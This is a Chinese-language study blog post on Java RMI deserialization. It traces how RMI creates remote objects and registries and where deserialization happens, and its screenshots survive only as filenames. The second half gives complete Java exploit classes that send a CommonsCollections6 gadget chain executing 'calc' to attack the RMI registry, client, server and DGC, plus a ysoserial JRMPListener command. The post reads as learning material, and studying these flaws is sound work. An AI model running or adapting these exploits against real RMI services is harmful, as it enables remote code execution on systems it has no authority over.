RMI反序列化学习

参考:

Java反序列化RMI专题-没有人比我更懂RMI

RMI反序列化漏洞之三顾茅庐-流程分析

RMI反序列化漏洞之三顾茅庐-攻击实现

RMI反序列化漏洞之三顾茅庐-JEP290绕过

JAVA安全基础(四)– RMI机制

浅学RMI反序列化

流程分析

建议看Java反序列化RMI专题-没有人比我更懂RMI,讲的很细,这里先写一下视频中的样例程序

样例程序

Server

IRemoteObj

接口

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

RemoteObjImpl

package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{
public RemoteObjImpl() throws RemoteException {
// 如果不继承UnicastRemoteObject就需要手工导出
// UnicastRemoteObject.exportObject(this,0);
}

@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}

RMIServer

package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(10999);
registry.bind("remoteObj",remoteObj);
}
}

Client

IRemoteObj

接口

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

RMIClient

package org.example;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",10999);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("hello");
}
}

流程分析1 创建远程服务

首先跟一下创建远程服务的流程

rmi-1.png

记得强制跟进,不然进不去

rmi-2.png

由于我们实现的类继承了UnicastRemoteObject,所以这里就到了UnicastRemoteObject的构造方法

rmi-3.png

这里会导出这个对象,如果我们前面没继承该类的话,就需要手动执行这一步

rmi-4.png

跟进后发现又有一个exportObject,图中的UnicastServerRef就是封装rmi的一个入口,跟进去

rmi-5.png

这里可以发现调用了父类的构造方法,并且传入的参数初始化了一个很重要的类——LiveRef,跟进该类看一下

rmi-6.png

ObjID只是起个标识作用,继续跟进

rmi-7.png

这里关注下TCPEndpoint.getLocalEndpoint,这里面真正包含了远程服务的信息

rmi-8.png

这里跟进图中的getLocalEndpoint去后是很多和网络请求相关的东西

rmi-9.png

从该函数出来后初始化了很多信息

rmi-10.png

接下来继续走,会回到LiveRef,跟进其构造方法发现会看到很多初始化内容,会把前面的endpoint放进来

rmi-11.png

然后一路跟进,会退回到开始的UnicastServerRef并调用其父类构造方法,跟进去

rmi-12.png

会把前面封装好的LiveRef放进UnicastRef

rmi-13.png

一路跟进会回到前面的exportObjet,跟进看一下

rmi-14.png

这里的sref实际上就是对我们前面封装好的LiveRef的一次封装(可以看到LiveRef编号一直都是一样的)

rmi-15.png

这里跟进后发现存在创建stub的过程,跟进去看一下(getClientRef实际上就是初始化一个UnicastRef

前面图中可以看出stub是客户端用来获取远程对象的。这里服务端会创建stub是因为服务端需要先闯将stub然后放到注册中心,之后客户端直接从注册中心拿到stub进行操作

rmi-16.png

rmi-17.png

这里需要过几个判断,其中的stubClassExists主要是判断类名结尾是不是_Stub,然后因为这里是我们自己定义的,所以结尾没有,这里就直接过去了,然后就是标准的创建动态代理的过程

文件应该是在jdk1.8.0_65\jre\lib\rt.jar!\sun\rmi\registry\RegistryImpl_Stub.class

rmi-18.png

rmi-19.png

rmi-20.png

前面走完出来后,往后就到了target这里,其实就是对前面生成的东西全部封装到一起

rmi-21.png

rmi-22.png

这里初始化完出来后跟进到LiveRefexportObject

rmi-23.png

跟进TcpEndpointexportObject

rmi-24.png

跟进transportexportObject

rmi-25.png

最后来到了TCPTransportexportObject

rmi-26.png

跟进listen后发现里面创建了一个新的socket,进去后找到了port被初始化的地方

rmi-27.png

rmi-28.png

出来后进行了一个创建多线程的操作,跟进去后主要逻辑在executeAcceptLoop,里面都是一些网络请求的逻辑,其实就是多开了个线程,需要知道的是真正的代码逻辑的线程和网络请求的线程是独立的

rmi-29.png

rmi-30.png

这里开启线程后就会退出listen,继续往下走会调用父类的exportObject

rmi-31.png

跟进去后发现我们的target最后会被放到objTable

rmi-32.png

rmi-33.png

rmi-34.png

最后就是不断返回结束了

流程分析2 创建注册中心+绑定

先分析创建注册中心,这里我使用了自定义的10999端口,直接强制跟进

rmi-35.png

rmi-36.png

rmi-37.png

跟进exportObject

rmi-38.png

rmi-39.png

rmi-40.png

跟进这个createStub中,直接用forName获取ReigistryImpl这个类

rmi-41.png

创建完stub后开始创建skeleton

rmi-42.png

rmi-43.png

rmi-44.png

接下来走到target,跟进其构造方法

rmi-45.png

rmi-46.png

之后进入到LiveRefexportObj

rmi-47.png

然后就是一路经过TcpEndpointtransport,后面流程就和创建远程服务一致了,也会被放到objTable最后一步步退出来

然后是绑定,其实就是把name和对应的对象放到bindings里面

rmi-48.png

rmi-49.png

流程分析3 客户端请求注册中心-客户端

进入getRegistry

rmi-50.png

rmi-51.png

rmi-52.png

最后来到了熟悉的createStub,就不进去了

rmi-53.png

去看lookup,会发现跳到奇怪的地方,这是因为Java版本问题,因此接下来只能看反编译的源码

rmi-54.png

反序列化点1

rmi-55.png

反序列化点2

跟进上图中的super.ref.invoke,其实就是UnicastRefinvoke

rmi-56.png

rmi-57.png

这里本意是遇到这个异常的时候反序列化读出来获取更详细的信息,但如果传的是个恶意类就可能被利用。

其他很多地方都调用了这个invoke

反序列化点3

rmi-58.png

反序列化点4

rmi-59.png

反序列化点5

rmi-60.png

反序列化点6

rmi-61.png

流程分析4 客户端请求服务端-客户端

由于remoteobject是动态代理类,所以跟进会会直接去到invoke

rmi-62.png

rmi-63.png

rmi-64.png

rmi-65.png

rmi-66.png

出来后会调用这个executeCall,和前面一样的反序列化点,这里就不跟进去了,继续往后走

rmi-67.png

rmi-68.png

rmi-69.png

流程分析5 客户端请求服务端-注册中心

开始调试前先说一下断点位置,前面所说的TCPTransportexportObject中存在listen,跟进去发现有开线程的地方,进到AcceptLoop里面再去executeAcceptLoop也就是前面没展开说的地方

rmi-70.png

跟进去找到run方法,发现里面调用了run0,继续跟其中的handleMessages

rmi-71.png

rmi-72.png

rmi-73.png其实前面找地方下断点的过程也就是前半部分的分析,下好断点后服务端开debug等待,客户端发起请求就可以发现断在了这里,往后走

rmi-74.png

rmi-75.png

rmi-76.png

rmi-77.png

这里其实后面就进到了RegistryImpl_Skel.class里面,调用了skeletondispatch,图中代码可以很清楚看到存在反序列化

rmi-78.png

流程分析6 客户端请求服务端-服务端

会调用unmarshalValue,前面跟进去过了,里面类型判断如果是进到else就会触发反序列化

rmi-79.png

流程分析7 客户端请求服务端-dgc

前面在puttaget时候调用DGCImpl的初始化,其中的静态初始化含有stub的初始化,而其也存在DGCImpl_Stub,进去后可以发现存在反序列化点

rmi-80.png

攻击实现

记得手动添加下CC依赖,下述代码均简单修改自RMI反序列化漏洞之三顾茅庐-攻击实现

客户端/服务端攻击注册中心

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.util.HashMap;
import java.util.Map;

public class RegistryExploit {
public static void main(String[] args) throws Exception{
// 打的是注册中心RegistryImpl_Skel#dispatch
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 10999);

// 需要自己实现lookup和bind来把恶意对象传过去,原本的有限制
lookup(registry);
// bind(registry);
}

public static void lookup(RegistryImpl_Stub registry) throws Exception {

Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

// 这里因为lookup在RegistryImpl_Skel#dispatch是case2
RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);

ObjectOutput var3 = var2.getOutputStream();

var3.writeObject(genEvilMap());
ref.invoke(var2);

}

public static void bind(RegistryImpl_Stub registry) throws Exception {

Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

// 这里因为bind在RegistryImpl_Skel#dispatch是case0
RemoteCall var3 = ref.newCall(registry, operations, 0, 4905912898345647071L);

ObjectOutput var4 = var3.getOutputStream();
var4.writeObject("test");
var4.writeObject(genEvilMap());

ref.invoke(var3);

}

public static HashMap genEvilMap() throws Exception{
// CC6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

return map2;
}
}

注册中心攻击客户端

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.Serializable;
import java.lang.reflect.Field;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class EvilRegistry {
public static void main(String[] args) throws Exception {
// 打的是客户端registry#lookup/list
new RemoteObjImpl();
Remote remoteObj = new RemoteWrapper();
Registry r = LocateRegistry.createRegistry(10999);
r.bind("remoteObj",remoteObj);
}
}

class RemoteWrapper implements Remote, Serializable {
private Map map;

RemoteWrapper() throws Exception {
this.map = genEvilMap();
}

public static HashMap genEvilMap() throws Exception{
// CC6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

return map2;
}
}

客户端攻击服务端

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.rmi.registry.LocateRegistry;
import java.util.HashMap;
import java.util.Map;

public class EvilClient {
public static void main(String[] args) throws Exception {
// 服务端的UnicastServerRef#dispatch调用了unmarshalValue
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 10999);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
// HashMap evilMap = genEvilMap();
// remoteObj.sayHello(evilMap);
invoke(remoteObj);
}

public static void invoke(IRemoteObj remoteObj) throws Exception{
Field hField = remoteObj.getClass().getSuperclass().getDeclaredField("h");
hField.setAccessible(true);
Object remoteObjectInvocationHandler = hField.get(remoteObj);

Field refField = remoteObjectInvocationHandler.getClass().getSuperclass().getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(remoteObjectInvocationHandler);

Method method = IRemoteObj.class.getDeclaredMethod("sayHello", String.class);

Method methodToHash_mapsMethod = remoteObjectInvocationHandler.getClass().getDeclaredMethod("getMethodHash",Method.class);
methodToHash_mapsMethod.setAccessible(true);
long hash = (long) methodToHash_mapsMethod.invoke(remoteObj, method);

ref.invoke(remoteObj, method, new Object[]{genEvilMap()}, hash);
}

public static HashMap genEvilMap() throws Exception{
// CC6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

return map2;
}
}

服务端攻击客户端

打的是UnicastRef#invoke

DGC相关的攻击

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.Endpoint;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class DGCExploit {
public static void main(String[] args) throws Exception{
// 打的是DGCImpl_Skel#dispatch
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 10999);

Class c = registry.getClass().getSuperclass().getSuperclass();
Field refField = c.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef unicastRef = (UnicastRef) refField.get(registry);

Class c2 = unicastRef.getClass();
Field refField2 = c2.getDeclaredField("ref");
refField2.setAccessible(true);
LiveRef liveRef = (LiveRef) refField2.get(unicastRef);

Class c3 = liveRef.getClass();
Field epField = c3.getDeclaredField("ep");
epField.setAccessible(true);
TCPEndpoint tcpEndpoint = (TCPEndpoint) epField.get(liveRef);

Class c4 = Class.forName("sun.rmi.transport.DGCClient$EndpointEntry");
Method lookupMethod = c4.getDeclaredMethod("lookup", Endpoint.class);
lookupMethod.setAccessible(true);
Object endpointEntry = lookupMethod.invoke(null, tcpEndpoint);

Class c5 = endpointEntry.getClass();
Field dgcField = c5.getDeclaredField("dgc");
dgcField.setAccessible(true);
RemoteObject dgc = (RemoteObject) dgcField.get(endpointEntry);

Class c6 = dgc.getClass().getSuperclass().getSuperclass();
Field refField3 = c6.getDeclaredField("ref");
refField3.setAccessible(true);
UnicastRef unicastRef2 = (UnicastRef) refField3.get(dgc);

Operation[] operations = new Operation[]{new Operation("void clean(java.rmi.server.ObjID[], long, java.rmi.dgc.VMID, boolean)"), new Operation("java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[], long, java.rmi.dgc.Lease)")};
RemoteCall var5 = unicastRef2.newCall(dgc, operations, 1, -669196253586618813L);
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(genEvilMap());
unicastRef2.invoke(var5);
}

public static HashMap genEvilMap() throws Exception{
// CC6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

return map2;
}
}

攻击JRMP客户端

开个恶意服务等着客户端连接过来,打的是UnicastRef#invoke

java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 calc.exe

高版本绕过

RMI反序列化漏洞之三顾茅庐-JEP290绕过